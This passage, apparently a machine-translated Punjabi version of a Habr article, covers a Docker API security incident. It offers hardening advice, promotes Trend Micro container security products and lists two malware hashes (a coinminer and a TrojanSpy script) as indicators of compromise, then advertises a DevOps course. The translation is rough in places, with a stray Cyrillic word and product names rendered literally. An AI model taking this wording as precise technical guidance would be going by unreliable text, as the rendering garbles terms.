ਸ਼ਾਮਲ ਕਰਨਾ ਨਾ ਸਿਰਫ ਤੁਹਾਨੂੰ ਸੁਰੱਖਿਆ ਛੇਕ ਲੱਭਣ ਵਿੱਚ ਮਦਦ ਕਰਦਾ ਹੈ ਜੋ ਸ਼ਾਇਦ ਅਣਪਛਾਤੇ ਹੋ ਸਕਦੇ ਹਨ, ਪਰ ਇਹ ਤੁਹਾਨੂੰ ਬੇਲੋੜੇ ਕੰਮ ਦੇ ਬੋਝ ਨੂੰ ਘਟਾਉਣ ਵਿੱਚ ਵੀ ਮਦਦ ਕਰਦਾ ਹੈ, ਜਿਵੇਂ ਕਿ ਐਪਲੀਕੇਸ਼ਨ ਦੇ ਤੈਨਾਤ ਕੀਤੇ ਜਾਣ ਤੋਂ ਬਾਅਦ ਹਰੇਕ ਖੋਜੀ ਕਮਜ਼ੋਰੀ ਜਾਂ ਗਲਤ ਸੰਰਚਨਾ ਲਈ ਵਾਧੂ ਸੌਫਟਵੇਅਰ ਬਿਲਡ ਚਲਾਉਣਾ।

ਇਸ ਲੇਖ ਵਿੱਚ ਚਰਚਾ ਕੀਤੀ ਗਈ ਘਟਨਾ ਹੇਠ ਲਿਖੀਆਂ ਸਿਫ਼ਾਰਸ਼ਾਂ ਸਮੇਤ, ਸ਼ੁਰੂ ਤੋਂ ਹੀ ਸੁਰੱਖਿਆ ਨੂੰ ਧਿਆਨ ਵਿੱਚ ਰੱਖਣ ਦੀ ਲੋੜ ਨੂੰ ਉਜਾਗਰ ਕਰਦੀ ਹੈ:

• ਸਿਸਟਮ ਪ੍ਰਸ਼ਾਸਕਾਂ ਅਤੇ ਡਿਵੈਲਪਰਾਂ ਲਈ: ਇਹ ਯਕੀਨੀ ਬਣਾਉਣ ਲਈ ਹਮੇਸ਼ਾ ਆਪਣੀਆਂ API ਸੈਟਿੰਗਾਂ ਦੀ ਜਾਂਚ ਕਰੋ ਕਿ ਸਭ ਕੁਝ ਸਿਰਫ਼ ਕਿਸੇ ਖਾਸ ਸਰਵਰ ਜਾਂ ਅੰਦਰੂਨੀ ਨੈੱਟਵਰਕ ਤੋਂ ਬੇਨਤੀਆਂ ਨੂੰ ਸਵੀਕਾਰ ਕਰਨ ਲਈ ਕੌਂਫਿਗਰ ਕੀਤਾ ਗਿਆ ਹੈ।
• ਘੱਟੋ-ਘੱਟ ਅਧਿਕਾਰਾਂ ਦੇ ਸਿਧਾਂਤ ਦੀ ਪਾਲਣਾ ਕਰੋ: ਯਕੀਨੀ ਬਣਾਓ ਕਿ ਕੰਟੇਨਰ ਚਿੱਤਰਾਂ 'ਤੇ ਹਸਤਾਖਰ ਕੀਤੇ ਗਏ ਹਨ ਅਤੇ ਤਸਦੀਕ ਕੀਤੇ ਗਏ ਹਨ, ਨਾਜ਼ੁਕ ਭਾਗਾਂ (ਕੰਟੇਨਰ ਲਾਂਚ ਸੇਵਾ) ਤੱਕ ਪਹੁੰਚ ਨੂੰ ਸੀਮਤ ਕਰੋ ਅਤੇ ਨੈਟਵਰਕ ਕਨੈਕਸ਼ਨਾਂ ਵਿੱਚ ਏਨਕ੍ਰਿਪਸ਼ਨ ਸ਼ਾਮਲ ਕਰੋ।
• ਅਨੁਸਰਣ ਕਰੋ ਸਿਫ਼ਾਰਸ਼ਾਂ ਅਤੇ ਸੁਰੱਖਿਆ ਵਿਧੀਆਂ ਨੂੰ ਸਮਰੱਥ ਬਣਾਓ, ਉਦਾਹਰਨ ਲਈ ਡੌਕਰ ਤੋਂ ਅਤੇ ਬਿਲਟ-ਇਨ ਸੁਰੱਖਿਆ ਵਿਸ਼ੇਸ਼ਤਾਵਾਂ.
• ਕੰਟੇਨਰ ਵਿੱਚ ਚੱਲ ਰਹੀਆਂ ਪ੍ਰਕਿਰਿਆਵਾਂ ਬਾਰੇ ਵਾਧੂ ਜਾਣਕਾਰੀ ਪ੍ਰਾਪਤ ਕਰਨ ਲਈ ਰਨਟਾਈਮ ਅਤੇ ਚਿੱਤਰਾਂ ਦੀ ਸਵੈਚਲਿਤ ਸਕੈਨਿੰਗ ਦੀ ਵਰਤੋਂ ਕਰੋ (ਉਦਾਹਰਨ ਲਈ, ਸਪੂਫਿੰਗ ਦਾ ਪਤਾ ਲਗਾਉਣ ਲਈ ਜਾਂ ਕਮਜ਼ੋਰੀਆਂ ਦੀ ਖੋਜ ਕਰਨ ਲਈ)। ਐਪਲੀਕੇਸ਼ਨ ਨਿਯੰਤਰਣ ਅਤੇ ਇਕਸਾਰਤਾ ਨਿਗਰਾਨੀ ਸਰਵਰਾਂ, ਫਾਈਲਾਂ ਅਤੇ ਸਿਸਟਮ ਖੇਤਰਾਂ ਵਿੱਚ ਅਸਧਾਰਨ ਤਬਦੀਲੀਆਂ ਨੂੰ ਟਰੈਕ ਕਰਨ ਵਿੱਚ ਮਦਦ ਕਰਦੀ ਹੈ।

Trendmicro DevOps ਟੀਮਾਂ ਨੂੰ ਸੁਰੱਖਿਅਤ ਢੰਗ ਨਾਲ ਬਣਾਉਣ, ਤੇਜ਼ੀ ਨਾਲ ਰੋਲ ਆਊਟ ਕਰਨ ਅਤੇ ਕਿਤੇ ਵੀ ਲਾਂਚ ਕਰਨ ਵਿੱਚ ਮਦਦ ਕਰਦਾ ਹੈ। ਰੁਝਾਨ ਮਾਈਕ੍ਰੋ ਹਾਈਬ੍ਰਿਡ ਕਲਾਉਡ ਸੁਰੱਖਿਆ ਇੱਕ ਸੰਗਠਨ ਦੀ DevOps ਪਾਈਪਲਾਈਨ ਵਿੱਚ ਸ਼ਕਤੀਸ਼ਾਲੀ, ਸੁਚਾਰੂ ਅਤੇ ਸਵੈਚਲਿਤ ਸੁਰੱਖਿਆ ਪ੍ਰਦਾਨ ਕਰਦਾ ਹੈ ਅਤੇ ਕਈ ਖਤਰੇ ਦੇ ਬਚਾਅ ਪ੍ਰਦਾਨ ਕਰਦਾ ਹੈ ਐਕਸਗੇਨ ਰਨਟਾਈਮ 'ਤੇ ਭੌਤਿਕ, ਵਰਚੁਅਲ ਅਤੇ ਕਲਾਉਡ ਵਰਕਲੋਡ ਦੀ ਰੱਖਿਆ ਕਰਨ ਲਈ। ਇਹ ਕੰਟੇਨਰ ਸੁਰੱਖਿਆ ਨੂੰ ਵੀ ਜੋੜਦਾ ਹੈ ਡੂੰਘੀ ਸੁਰੱਖਿਆ и ਡੂੰਘੀ ਸੁਰੱਖਿਆ ਸਮਾਰਟ ਜਾਂਚ, ਜੋ ਡੌਕਰ ਕੰਟੇਨਰ ਚਿੱਤਰਾਂ ਨੂੰ ਤੈਨਾਤ ਕੀਤੇ ਜਾਣ ਤੋਂ ਪਹਿਲਾਂ ਖਤਰਿਆਂ ਨੂੰ ਰੋਕਣ ਲਈ ਵਿਕਾਸ ਪਾਈਪਲਾਈਨ ਵਿੱਚ ਕਿਸੇ ਵੀ ਸਮੇਂ ਮਾਲਵੇਅਰ ਅਤੇ ਕਮਜ਼ੋਰੀਆਂ ਲਈ ਸਕੈਨ ਕਰਦਾ ਹੈ।

ਸਮਝੌਤਾ ਦੇ ਸੰਕੇਤ

ਸੰਬੰਧਿਤ ਹੈਸ਼:

• 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
• f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

'ਤੇ ਡੌਕਰ ਵੀਡੀਓ ਕੋਰਸ ਪ੍ਰੈਕਟਿਸ ਕਰਨ ਵਾਲੇ ਸਪੀਕਰ ਦਿਖਾਉਂਦੇ ਹਨ ਕਿ ਸੰਭਾਵਨਾ ਨੂੰ ਘੱਟ ਕਰਨ ਲਈ ਜਾਂ ਉੱਪਰ ਦੱਸੀ ਗਈ ਸਥਿਤੀ ਦੇ ਵਾਪਰਨ ਤੋਂ ਪੂਰੀ ਤਰ੍ਹਾਂ ਬਚਣ ਲਈ ਪਹਿਲਾਂ ਕਿਹੜੀਆਂ ਸੈਟਿੰਗਾਂ ਕਰਨ ਦੀ ਲੋੜ ਹੈ। ਅਤੇ 19-21 ਅਗਸਤ ਨੂੰ ਇੱਕ ਔਨਲਾਈਨ ਇੰਟੈਂਸਿਵ ਵਿੱਚ DevOps ਟੂਲਸ ਅਤੇ ਚੀਟਸ ਤੁਸੀਂ ਇਹਨਾਂ ਅਤੇ ਇਸ ਤਰ੍ਹਾਂ ਦੀਆਂ ਸੁਰੱਖਿਆ ਸਮੱਸਿਆਵਾਂ ਨੂੰ ਸਹਿਯੋਗੀਆਂ ਅਤੇ ਅਭਿਆਸ ਕਰਨ ਵਾਲੇ ਅਧਿਆਪਕਾਂ ਨਾਲ ਇੱਕ ਗੋਲ ਮੇਜ਼ 'ਤੇ ਚਰਚਾ ਕਰ ਸਕਦੇ ਹੋ, ਜਿੱਥੇ ਹਰ ਕੋਈ ਬੋਲ ਸਕਦਾ ਹੈ ਅਤੇ ਤਜਰਬੇਕਾਰ ਸਹਿਕਰਮੀਆਂ ਦੇ ਦਰਦ ਅਤੇ ਸਫਲਤਾਵਾਂ ਨੂੰ ਸੁਣ ਸਕਦਾ ਹੈ।

ਸਰੋਤ: www.habr.com